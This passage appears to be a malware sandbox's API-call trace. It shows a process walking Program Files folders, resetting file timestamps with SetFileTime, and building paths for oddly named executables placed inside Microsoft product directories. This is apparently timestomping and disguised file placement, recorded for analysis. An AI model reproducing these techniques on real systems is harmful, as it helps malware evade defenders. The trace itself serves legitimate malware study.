[0067.045] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.045] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.045] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.048] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.048] CloseHandle (hObject=0x98) returned 1 [0067.049] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\", lpString2="ACADEMIC.ONE" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE" [0067.052] lstrcmpA (lpString1=".", lpString2="Presentation Designs") returned -1 [0067.052] lstrcmpA (lpString1="..", lpString2="Presentation Designs") returned -1 [0067.052] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.052] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.052] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.052] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.053] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.053] CloseHandle (hObject=0x8c) returned 1 [0067.054] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\", lpString2="Maple.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" [0067.054] lstrcmpA (lpString1=".", lpString2="Microsoft SQL Server Compact Edition") returned -1 [0067.054] lstrcmpA (lpString1="..", lpString2="Microsoft SQL Server Compact Edition") returned -1 [0067.054] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdc46ce60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc46ce60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.054] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.054] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.054] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.064] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.064] CloseHandle (hObject=0x84) returned 1 [0067.064] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", lpString2="active-charge.exe" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\active-charge.exe") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\active-charge.exe" [0067.064] lstrcmpA (lpString1=".", lpString2="v3.5") returned -1 [0067.064] lstrcmpA (lpString1="..", lpString2="v3.5") returned -1 [0067.064] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4fa57c, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.066] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.066] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.066] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.066] lstrcmpA (lpString1=".", lpString2="Desktop") returned -1 [0067.066] lstrcmpA (lpString1="..", lpString2="Desktop") returned -1 [0067.067] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.067] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.067] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.067] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.068] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.069] CloseHandle (hObject=0x88) returned 1 [0067.069] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", lpString2="sqlceca35.dll" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll" [0067.070] lstrcmpA (lpString1=".", lpString2="Microsoft Sync Framework") returned -1 [0067.070] lstrcmpA (lpString1="..", lpString2="Microsoft Sync Framework") returned -1 [0067.070] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdc446d00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc446d00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.070] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.070] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.070] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.073] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.074] CloseHandle (hObject=0x84) returned 1 [0067.074] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Sync Framework\\", lpString2="remedy.exe" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\remedy.exe") returned="C:\\Program Files\\Microsoft Sync Framework\\remedy.exe" [0067.074] lstrcmpA (lpString1=".", lpString2="v1.0") returned -1 [0067.074] lstrcmpA (lpString1="..", lpString2="v1.0") returned -1 [0067.074] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa564, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.074] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.075] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.075] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.075] lstrcmpA (lpString1=".", lpString2="Documentation") returned -1 [0067.075] lstrcmpA (lpString1="..", lpString2="Documentation") returned -1 [0067.075] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.076] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.076] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.076] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.076] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0067.076] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0067.076] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7080, dwReserved1=0x4f707b, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.077] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.077] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.077] lstrcmpA (lpString1=".", lpString2="License Agreements") returned -1 [0067.077] lstrcmpA (lpString1="..", lpString2="License Agreements") returned -1 [0067.077] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8088, dwReserved1=0x4f8083, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.078] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.078] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.078] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.079] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.079] CloseHandle (hObject=0x94) returned 1 [0067.080] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\", lpString2="SynchronizationEula.rtf" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" [0067.080] lstrcmpA (lpString1=".", lpString2="Runtime") returned -1 [0067.080] lstrcmpA (lpString1="..", lpString2="Runtime") returned -1 [0067.080] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300031, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.080] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.080] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.080] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.080] lstrcmpA (lpString1=".", lpString2="x64") returned -1 [0067.081] lstrcmpA (lpString1="..", lpString2="x64") returned -1 [0067.081] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7080, dwReserved1=0x4f707b, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.083] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.083] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.083] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.085] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.085] CloseHandle (hObject=0x90) returned 1 [0067.085] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\", lpString2="FeedSync.dll" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\FeedSync.dll") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\FeedSync.dll" [0067.086] lstrcmpA (lpString1=".", lpString2="resources") returned -1 [0067.086] lstrcmpA (lpString1="..", lpString2="resources") returned -1 [0067.086] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4ff58e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0067.087] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.087] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.087] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.087] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0067.087] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0067.087] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0067.087] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.087] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.087] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.089] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.089] CloseHandle (hObject=0x98) returned 1 [0067.091] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\", lpString2="Synchronization.rll" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" [0067.094] lstrcmpA (lpString1=".", lpString2="Microsoft Synchronization Services") returned -1 [0067.094] lstrcmpA (lpString1="..", lpString2="Microsoft Synchronization Services") returned -1 [0067.094] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdc420ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc420ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.094] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.094] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.094] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.094] lstrcmpA (lpString1=".", lpString2="ADO.NET") returned -1 [0067.094] lstrcmpA (lpString1="..", lpString2="ADO.NET") returned -1 [0067.094] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.094] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.095] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.095] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.095] lstrcmpA (lpString1=".", lpString2="v1.0") returned -1 [0067.095] lstrcmpA (lpString1="..", lpString2="v1.0") returned -1 [0067.095] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.100] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.100] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.100] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.101] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.102] CloseHandle (hObject=0x8c) returned 1 [0067.102] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\", lpString2="Microsoft.Synchronization.Data.dll" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\Microsoft.Synchronization.Data.dll") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\Microsoft.Synchronization.Data.dll" [0067.104] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.104] CloseHandle (hObject=0x84) returned 1 [0067.104] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\", lpString2="webdrive.exe" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\webdrive.exe") returned="C:\\Program Files\\Microsoft Synchronization Services\\webdrive.exe" [0067.105] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0067.105] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0067.105] FindFirstFileA (in: lpFileName="C:\\Program Files\\MSBuild\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbcb06e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbcb06e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0067.105] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.105] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.105] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.109] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.109] CloseHandle (hObject=0x84) returned 1 [0067.109] lstrcatA (in: lpString1="C:\\Program Files\\MSBuild\\", lpString2="birmingham_supply.exe" | out: lpString1="C:\\Program Files\\MSBuild\\birmingham_supply.exe") returned="C:\\Program Files\\MSBuild\\birmingham_supply.exe" [0067.110] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0067.110] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0067.110] FindFirstFileA (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa542, cFileName=".", cAlternateFileName="")) returned 0x502558 [0067.111] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.111] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.111] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.111] lstrcmpA (lpString1=".", lpString2="Windows Workflow Foundation") returned -1 [0067.111] lstrcmpA (lpString1="..", lpString2="Windows Workflow Foundation") returned -1 [0067.111] FindFirstFileA (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0067.111] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.111] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.111] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.111] lstrcmpA (lpString1=".", lpString2="v3.0") returned -1 [0067.111] lstrcmpA (lpString1="..", lpString2="v3.0") returned -1 [0067.112] FindFirstFileA (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7080, dwReserved1=0x4f707b, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.112] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.112] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.112] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.115] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.115] CloseHandle (hObject=0x90) returned 1 [0067.116] lstrcatA (in: lpString1="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\", lpString2="Workflow.Targets" | out: lpString1="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" [0067.116] lstrcmpA (lpString1=".", lpString2="v3.5") returned -1 [0067.116] lstrcmpA (lpString1="..", lpString2="v3.5") returned -1 [0067.116] FindFirstFileA (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0067.116] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0067.117] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0067.117] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0067.118] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0067.118] CloseHandle (hObject=0x90) returned 1 [0067.119] lstrcatA (in: lpString1="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\", lpString2="Workflow.Targets" | out: lpString1="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" [0067.119] lstrcmpA (lpString1=".", lpString2="Reference Assemblies") returned -1 [0067.119] lstrcmpA (lpString1="..", lpString2="Reference Assemblies") returned -1 [0067.119] FindFirstFileA (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xde35ec60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde35ec60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x3, cFileName=".", 